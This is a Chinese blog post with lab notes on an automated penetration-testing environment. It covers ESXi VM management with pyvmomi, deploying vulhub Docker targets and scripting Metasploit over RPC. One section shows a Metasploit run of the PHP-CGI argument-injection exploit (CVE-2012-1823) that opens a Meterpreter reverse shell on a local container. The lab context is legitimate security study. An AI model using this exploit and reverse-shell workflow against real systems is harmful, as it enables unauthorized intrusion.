自动化渗透测试环境

以下内容对应仓库

https://github.com/Isolator-1/AutoPT-test-

https://www.vulnhub.com/上的基本上都是一些ova虚拟机(也有一些iso镜像),而在https://github.com/vulhub/vulhub/tree/master上都是一些docker。前者使用ESXi来管理控制。

这两者的区别在于,前者环境数量更多,但是不知道漏洞是啥;后者数量没那么多,但是都知道CVE是什么,直接去metasploit里查就行了。

vmware ESXi

对应代码VmManage.py

ESXi是一个可以管理多个虚拟机的host,是一个OS,可以直接装物理机硬件上,但这里还是装在WorkStation里

vmware 的官方 文档,但是在下载ESXi的地方,vmware官网现在好像不能直接下载了,(懒得看具体啥情况了,直接找了个别人分享的 链接

安装过程略,和普通虚拟机一样,会有个设置密码的过程,虚拟机创建完,可以通过web访问到,用户名是root,密码就是之前设置的。

在安装时,要勾选cpu里的Intel VT-x EPT…选项

这个问题似乎很玄乎,我解释不清。和“启用关闭windows功能”里wsl、hyperv、虚拟机平台那几个取消勾选有关,也和家庭版windows有关(家庭版没有hyperv等几个选项,虽然有个脚本可以调出来,但我也不知道实际有没有用)

管理员执行 bcdedit /set hypervisorlaunchtype off ,这里我的电脑好了,但似乎网上说如果解决不了还有后续😶‍🌫️

不管了

分配IP地址踩的坑

一开始显示的ip是能用的,但是重启一次发现,dhcp分配出来一个很奇怪的ip(不是自己的子网内的ip,是一个169开头的,不是192开头的,很奇怪不理解),然后试了host only,NAT,桥接,dhcp出来的都是那个169开头的😵‍💫😵‍💫😵‍💫在设置里启用shell, alt F1进入shell,也看不了网卡

所以通过Restart System Configuration重置了一下,发现IP能正确分配了

😭😭😭😭😭

(这时的密码会变成空,用户名还是root)

后续部分参考自

https://github.com/vmware/pyvmomi-community-samples/tree/master

这是一些基于pyvmomi的原子操作上写的一些工具

通过代码连接ESXi

1
2
pip install pyVim==0.0.21  
pip install pyvmomi==6.7.1

对应仓库中class VmManage . __init__

这里要注意的是,虽然代码只引用了pyvim,但如果只安装pyvim,这个库会少很多东西,比如没有SmartConnectNoSSL,只有SmartConnect,然后链接的时候就需要证书,所以pyvmomi是必须要装的

导入ova

因为当时的需求是要自动安装从vulnhub下载的环境,大部分都是iso和ova

在源项目deploy_ova.py中,upload_disk需要改一下,否则无法上传带iso文件的ova,见issue:https://github.com/vmware/pyvmomi-community-samples/issues/392

其他操作

开机关机,删除虚拟机这些就没啥特别的了,全都参考自那个community samples

Docker

对应代码DockerManager.py

直接看https://github.com/vulhub/vulhub/tree/master的说明就行,不多做赘述

这个库里存了一堆docker-compose.yml,用哪个就创建哪个就行了

比如php/CVE-2012-1823

直接在这个目录下用docker-compose up -d,然后就可以通过容器映射的端口访问到了

1
2
3
4
5
6
7
8
9
10
11
12
13
msf6 exploit(multi/http/php_cgi_arg_injection) > run

[*] Started reverse TCP handler on 192.168.71.131:4444
[*] Sending stage (39927 bytes) to 172.20.0.2
[*] Meterpreter session 1 opened (192.168.71.131:4444 -> 172.20.0.2:38974) at 2024-07-09 13:14:20 -0400

meterpreter > shell
Process 78 created.
Channel 0 created.

ls
index.php
info.php

docker compose down -v 删除环境

docker 换源时,阿里云的源需要有一个自己的加速器地址,形如 https://.mirror.aliyuncs.com,在这里申请:https://cr.console.aliyun.com/cn-hangzhou/instances/mirrors

在代码中控制这些docker

由于docker compose是一个”CLI tool”,在docker的API中并没有与之相关的内容

即我没办法docker-compose之后,直接拿到由它创建出来的容器

所以只能在yml中解析出镜像的名字,然后在已经被创建的容器中按照镜像名检索😥

对应 DockerManager.pyparse_yml get_container_by_images

突然访问不到container?

遇到过本来好好的突然就访问不到web的情况,主机 service docker restart 就好了,不知道为啥

指定cve,通过metasploit攻击

对应代码metasploit.py,这部分代码抄自DeepExploit

踩过的坑:

console.write时,命令要带上换行符\n,文档原话是:The console.write method will send data to a specific console, just as if it had been typed by a normal user. This means that most commands will need a newline included at the end for the console to process them properly.(https://help.rapid7.com/metasploit/Content/api/rpc/standard-reference.html?Highlight=console)

就是这个换行测试的时候没加,导致命令怎么都执行不成功,调试了一下午也不知道问题出在哪里😥😥

无CVE


自动化渗透测试环境
https://isolator-1.github.io/2024/07/02/学习笔记/自动化渗透测试环境/
Author
Isolator
Posted on
July 2, 2024
Licensed under